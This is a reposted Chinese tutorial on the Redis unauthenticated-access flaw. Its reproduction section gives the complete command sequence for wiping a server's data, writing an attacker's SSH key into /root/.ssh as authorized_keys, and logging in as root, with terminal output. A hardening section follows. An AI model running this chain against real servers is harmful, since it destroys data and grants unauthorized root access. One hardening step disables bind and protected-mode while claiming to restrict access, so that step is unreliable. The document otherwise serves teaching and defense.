Redis--弱口令未授权访问漏洞

news2024/11/18 10:32:08

Redis--弱口令未授权访问漏洞

    • 一、漏洞简介
    • 二、危险等级
    • 三、漏洞影响
    • 四、入侵事件
    • 五、漏洞复现--Redis CrackIT入侵事件
      • 5.1、以root启动的redis,可以远程登入到redis console--------A主机
      • 5.2、生成公钥
      • 5.3、执行: redis-cli flushall 清空redis(非常暴力,请务必在测试环境执行)
      • 5.4、执行: cat foo.txt | redis-cli -x set pwn
      • 5.5、调用config set命令对redis的备份文件路径进行修改
      • 5.6、使用本地的私钥去登入被植入公钥的ssh服务器
    • 六、加固方案
      • 6.1、通过修改 redis.conf 文件来禁用远程修改 DB 文件地址,禁止远程使用一些高危命令
      • 6.2、 低权限运行 Redis 服务,为 Redis 服务创建单独的 user 和 home 目录,并且配置禁止登陆
      • 6.3、通过修改 redis.conf文件来为 Redis 添加密码验证
      • 6.4、 通过修改 redis.conf 文件来使得 Redis 服务只在当前主机可用,禁止外网访问 Redis
      • 6.5、将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限,保证 authorized_keys 文件的安全

一、漏洞简介

Redis是美国Redis Labs公司赞助的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

Redis中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在6379端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问Redis并读取Redis的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

二、危险等级

高危

三、漏洞影响

易攻击对象:

Redis服务器
Linux环境
对公网开放
未启用认证
以root方式启动 (非必需 )

现象:

redis都被执行过flushall命令进行清空
redis内新建crackit的key
redis的dir参数被指向了/root/.ssh文件夹
/root/.ssh目录下会生成一个authorized keys文件 (或者覆盖现有的)

四、入侵事件

12015--Redis CrackIT入侵事件分析--redis数据库数据被清空
22022--SkidMap病毒利用Redis未授权访问漏洞攻击,数千台云主机沦为矿机

五、漏洞复现–Redis CrackIT入侵事件

5.1、以root启动的redis,可以远程登入到redis console--------A主机

set k1 v1 后面测试用

[root-worker bin]# ./redis-cli
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> get k1
"v1"
127.0.0.1:6379> exit

在这里插入图片描述

5.2、生成公钥

[root-worker ~]# ssh-keygen -t rsa -C "crack@redis.io"

在这里插入图片描述

在这里插入图片描述

5.3、执行: redis-cli flushall 清空redis(非常暴力,请务必在测试环境执行)

[root-worker .ssh]# redis-cli flushall
OK
[root-worker .ssh]#

在这里插入图片描述

5.4、执行: cat foo.txt | redis-cli -x set pwn

[root-worker .ssh]# cat foo.txt | redis-cli -x set pwn
OK
[root-worker .ssh]# 
[root-worker .ssh]# redis-cli
127.0.0.1:6379> get k1
(nil)
127.0.0.1:6379> 

在这里插入图片描述

5.5、调用config set命令对redis的备份文件路径进行修改

登录redis,执行如下命令,调用config set命令对redis的备份文件路径进行修改,然后执行save进行生成备份文件 (这里是生成了authorized keys文件)。这样就可以使用本地的私钥去登入被植入公钥的ssh服务器了。

[root-worker .ssh]# redis-cli
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config set dbfilename "authorized keys"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit
[root-worker .ssh]# 
[root-worker ~]# ll --si .ssh
total 17k
-rw-r--r-- 1 root root  506 May 19 11:05 authorized keys
-rw-r--r-- 1 root root  402 May 19 10:46 foo.txt
-rw------- 1 root root 1.7k May 19 10:41 id_rsa
-rw-r--r-- 1 root root  396 May 19 10:41 id_rsa.pub
[root-worker ~]# 

authorized_keys-----------------存放远程免密登录的公钥
id_rsa---------------------------------生成的私钥文件
id_rsa.pub---------------------------生成的公钥文件
know_hosts-------------------------已知的主机公钥清单

5.6、使用本地的私钥去登入被植入公钥的ssh服务器

准备一台B主机(192.168.181.30),并将A主机–zyl-worker上的私钥id_rsa拷贝到B主机。

[root-worker .ssh]# scp /root/.ssh/id_rsa root.168.181.30:/root/.ssh/
id_rsa                                                                                                       100% 1679   339.2KB/s   00:00    
[root-worker .ssh]# 

在这里插入图片描述

在B主机私钥所在目录,执行命令:

[root-worker .ssh]# ssh -l root 192.168.181.30
Last login: Sat May 20 11:33:46 2023 from 192.168.181.161
[root-mysql ~]# 

windows上测试:

将 id_rsa 私钥拷贝到 Windows电脑,在私钥所在目录,执行命令:

ssh -i .\id_rsa -o StrictHostKeyChecking=no root@192.168.181.161

Microsoft Windows [版本 10.0.19044.2846]
(c) Microsoft Corporation。保留所有权利。

C:\Users\zhao\Desktop\test-connet>ssh -i .\id_rsa -o StrictHostKeyChecking=no root.168.181.161
Last failed login: Fri May 19 12:00:49 CST 2023 from 192.168.181.1 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Fri May 19 11:52:11 2023 from 192.168.181.30
[root-worker ~]#

在这里插入图片描述

六、加固方案

6.1、通过修改 redis.conf 文件来禁用远程修改 DB 文件地址,禁止远程使用一些高危命令


rename-command KEYS ""         
rename-command FLUSHALL ""     
rename-command FLUSHDB ""      
rename-command CONFIG "" 
rename-command EVAL ""

在这里插入图片描述

6.2、 低权限运行 Redis 服务,为 Redis 服务创建单独的 user 和 home 目录,并且配置禁止登陆

#新增用户组

[root-worker ~]#groupadd redis

#新建用户redis加入redis组中,并禁止登录

[root-worker ~]#useradd -M redis -g redis -s /bin/bash

redis目录赋权、使用redis用户启动redis服务

[root-worker ~]# chown -R redis:redis /usr/local/redis
[root-worker ~]# groupadd redis
[root-worker ~]# useradd -M redis -g redis -s /bin/bash
[root-worker ~]# 
[root-worker ~]# chown -R redis:redis /usr/local/redis
[root-worker ~]# cd /usr/local/redis
[root-worker redis]# ll
total 0
drwxr-xr-x 2 redis redis 134 May 19 10:07 bin
drwxr-xr-x 2 redis redis  70 May 19 12:17 conf
[root-worker redis]# service redisd stop
Stopping ...
Waiting for Redis to shutdown ...
Redis stopped
[root-worker redis]# su redis
bash-4.2$ 
bash-4.2$ service redisd start
Starting Redis server...
3873:C 19 May 12:38:38.980 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
3873:C 19 May 12:38:38.980 # Redis version=4.0.8, bits=64, commit=00000000, modified=0, pid=3873, just started
3873:C 19 May 12:38:38.980 # Configuration loaded
3873:M 19 May 12:38:38.981 # You requested maxclients of 10000 requiring at least 10032 max file descriptors.
3873:M 19 May 12:38:38.981 # Server can't set maximum open files to 10032 because of OS error: Operation not permitted.
3873:M 19 May 12:38:38.981 # Current maximum open files is 4096. maxclients has been reduced to 4064 to compensate for low ulimit. If you need higher maxclients increase 'ulimit -n'.
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 4.0.8 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 3873
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

3873:M 19 May 12:38:38.982 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
3873:M 19 May 12:38:38.982 # Server initialized
3873:M 19 May 12:38:38.983 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
3873:M 19 May 12:38:38.983 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
3873:M 19 May 12:38:38.983 * DB loaded from disk: 0.000 seconds
3873:M 19 May 12:38:38.983 * Ready to accept connections

^Z
[1]+  Stopped                 service redisd start
bash-4.2$ exit
exit
There are stopped jobs.
bash-4.2$ exit
exit
3873:signal-handler (1684471161) Received SIGTERM scheduling shutdown...
3873:M 19 May 12:39:21.867 # User requested shutdown...
3873:M 19 May 12:39:21.867 * Saving the final RDB snapshot before exiting.
3873:M 19 May 12:39:21.867 # Failed opening the RDB file dump.rdb (in server root dir /) for saving: Permission denied
3873:M 19 May 12:39:21.867 # Error trying to save the DB, can't exit.
3873:M 19 May 12:39:21.867 # SIGTERM received but errors trying to shut down the server, check the logs for more information
[root-worker redis]# ps -ef | grep redis
root       3757   1925  0 12:14 pts/0    00:00:00 vim /etc/redis/
root       3767   1925  0 12:16 pts/0    00:00:00 vim redis.conf
root       3769   1925  0 12:17 pts/0    00:00:00 vim redis.conf
redis      3873      1  0 12:38 pts/0    00:00:00 /usr/local/bin/redis-server 127.0.0.1:6379
root       3892   1925  0 12:39 pts/0    00:00:00 grep --color=auto redis
[root-worker redis]# 

查询redis服务是否以用户redis启动:

在这里插入图片描述

6.3、通过修改 redis.conf文件来为 Redis 添加密码验证

vi redis.conf,找到:
#requirepass foobared
去掉注释,并修改密码:
requirepass 密码

在这里插入图片描述

6.4、 通过修改 redis.conf 文件来使得 Redis 服务只在当前主机可用,禁止外网访问 Redis


vi redis.conf ,注释bind 127.0.0.1
# bind 127.0.0.1
protected-mode yes  把yes改为no
protected-mode no

在这里插入图片描述

6.5、将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限,保证 authorized_keys 文件的安全

1、阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读
[root-worker .ssh]# chmod 400 ~/.ssh/authorized_keys

2、设置authorized_keys文件的 immutable 位权限
[root-worker .ssh]# chattr +i ~/.ssh/authorized_keys

3、设置 ~./ssh 的 immutable 权限,防止重命名 ~/.ssh
[root-worker .ssh]# chattr +i ~/.ssh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/546088.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年春秋杯网络安全联赛 春季赛 wp

文章目录 Cryptocheckinbackdoor WebPhpstudyEasypyezrustqqcms MISCSudohappy2forensic盲人会藏在哪里piphackwordle PWNp2048easy_LzhiFTP_CHELL Crypto checkin 第一部分求解一下pell函数得到x,y def solve_pell(N, numTry 100):a[]b[]cf continued_fraction(sqrt(N))f…

C++的priority_queue

priority_queue 1.priority_queue的介绍2.priority_queue的使用3.priority的模拟实现 1.priority_queue的介绍 优先队列是一种堆,默认是大根堆,可以通过greater的仿函数可以建立小根堆empty():检测容器是否为空 size():返回容器中…

【密码学复习】第七章 公钥加密体制(二)

RSA单向陷门函数及其应用 ElGamal单向陷门函数 1)密钥生成 ① 选择一大素数p,选取Zp * 的生成元g ; ② 任选小于p的随机数x,计算y≡g x mod p; ③(y, g, p)为公开密钥, (x, g, p)为秘密密钥. 2)加密:设待加密…

asp.net就业满意度问调查系统

本系统主要有会员(调查者)和管理员,他们具体的功能如下: 会员功能:注册,登录,修改个人信息,调查,查看调查结果及影响,留言,首先是会员注册,注册后…

【Web开发】Node实现Web图表功能(ECharts.js,React)

🎈🎈🎈Python实现Web图表功能系列:🎈🎈🎈1🎈【Web开发】Python实现Web图表功能(D-Tale入门)🎈2🎈【Web开发】Python实现Web图表功能&a…

整理了一份github上比较热门的ChatGPT项目,值得收藏

ChatGPT已经火了一段时间了,但是,热度依旧是各大自媒体的热榜。由于,国内不能直接访问ChatGPT,国内的开发者依托OpenAI的接口,开发出一些ChatGPT的应用。今天就整理一下github上最热门的ChatGPT项目。 lencx/ChatGPT 该项目是Cha…

java线程的状态

文章目录 1. 线程的状态2. 验证NEW、RUNNALE和TERMINATED状态3. 验证TIMED_WAITING状态4. 验证BLOCKED状态5. 验证BLOCKED状态 1. 线程的状态 线程在不同的运行时期存在不同的状态,状态信息存在于State枚举类中,如下图: 调用线程有关的方法是…

文心一言 VS 讯飞星火 VS chatgpt (18)-- 算法导论4.1 5题

五、使用如下思想为最大子数组问题设计一个非递归的、线性时间的算法。从数组的左边界开始,由左至右处理,记录到目前为止已经处理过的最大子数组。若已知 A[1…j]门的最大子数组,基于如下性质将解扩展为 A[1…j1]的最大子数组:A[1…j1]的最大…

Squid 代理服务器

Squid概述 Squid 主要提供缓存加速、应用层过滤控制的功能。 代理的工作机制 1.代替客户机向网站请求数据,从而可以隐藏用户的真实IP地址。 2.将获得的网页数据(静态 Web 元素)保存到缓存中并发送给客户机&#xff0…

Windows安装Ubuntu双系统

Windows安装Ubuntu双系统 1.下载Ubuntu 16.04,地址https://releases.ubuntu.com/16.04/ 2.下载Rufus,地址https://rufus.ie/zh/ 3.准备U盘,烧录系统 4.磁盘分区 5.重启,按住shift键 本人电脑是联想小新 Windows11系统&#xff0…

QT上位机串口+STM32单片机项目

第一个自己的上位机小项目,嘿嘿,还是有些成绩感的。 目录 1.先看QT上位机部分 1.首先写一个页面 2.mainwindow.cpp主要函数。 2.form.cpp主要函数 3.STM32部分 1.main函数 3.QT完整代码 1.shangwei.pro 2.form.h 3.mainwindow.h 4.form.cpp …

从零入门激光SLAM(十一)——如何求解SLAM问题

大家好呀,我是一个SLAM方向的在读博士,深知SLAM学习过程一路走来的坎坷,也十分感谢各位大佬的优质文章和源码。随着知识的越来越多,越来越细,我准备整理一个自己的激光SLAM学习笔记专栏,从0带大家快速上手激…

(转载)从0开始学matlab(第9天)—第一阶段总结

1.编程实例 下面的例子将向大家介绍如何用 MATLAB 解决问题。 例1 温度转换程序 问题: 设计一个 MATLAB 程序,读取一个华氏温度的输入,输出开尔文温度。 答案: 华氏温度和开尔文温度的转换关系式可在物理学课本中找到。其关系式…

HCIP-RIP双向重发布综合实验

拓扑结构: 要求: 1、两个协议间进行多点双向重发布 2、R7的环回没有宣告在OSPF协议中,而是在后期重发布进入的 3、解决环路,所有路径选择最优,且存在备份 4、R2的环回要在RIP中宣告,R3的环回要在OSPF中宣…

如何优雅的写C#,使用Visual studio

免责声明 本人接触C#,.Net一年时间,本文内容基于我平时对于C#语法的积累,如有问题请多包涵。以下内容除了C#之外,还有Visual studio编译器相关的内容。 在使用C#的一年多里面,我发现C#的语法糖真的很不错,Visual Stu…

SaaS系统用户权限设计

SaaS系统用户权限设计 学习目标: 理解RBAC模型的基本概念及设计思路 了解SAAS-HRM中权限控制的需求及表结构分析完成组织机构的基本CRUD操作 完成用户管理的基本CRUD操作完成角色管理的基本CRUD操作 组织机构管理 需求分析 需求分析 实现企业组织结构管理&#xff0…

PCB 基础~典型的PCB设计流程,典型的PCB制造流程

典型的PCB设计流程 典型的PCB制造流程 • 从客户手中拿到Gerber, Drill以及其它PCB相关文件 • 准备PCB基片和薄片 – 铜箔的底片会被粘合在基材上 • 内层图像蚀刻 – 抗腐蚀的化学药水会涂在需要保留的铜箔上(例如走线和过孔) – 其他药水…

如何封装React无限滚动加载列表组件【含源码】

前言 由于需要考虑后端接口的性能问题,我们在请求业务数据列表的时候并不能直接请求全量数据。所以我们在请求数据时常见的方式是做分页查询。 对于前端交互而言,我们需要考虑如何优雅的让用户触发请求下一页数据的接口。常用的方法有两种:…

i春秋春季赛2023

只有两道逆向和一道misc,其他的有时间再写 wordle 不断筛有什么和没什么字母猜就行了 [6x] Guess a 5-letter word : first first [5x] Guess a 5-letter word : ideas Please enter a real English word that exists. [5x] Guess a 5-letter word : icily first…

View的基础与滑动

View的基础与滑动 1.View的基础知识 1.1View是什么 View是一种界面层的控件的一种抽象 ,我们知道的大多数控件都是直接或间接继承自View 如EditText,TextView等等 注意: EditText在compose中并没有相关控件,而是通过TextField来进行组合 Android中View本身就可以是单个控…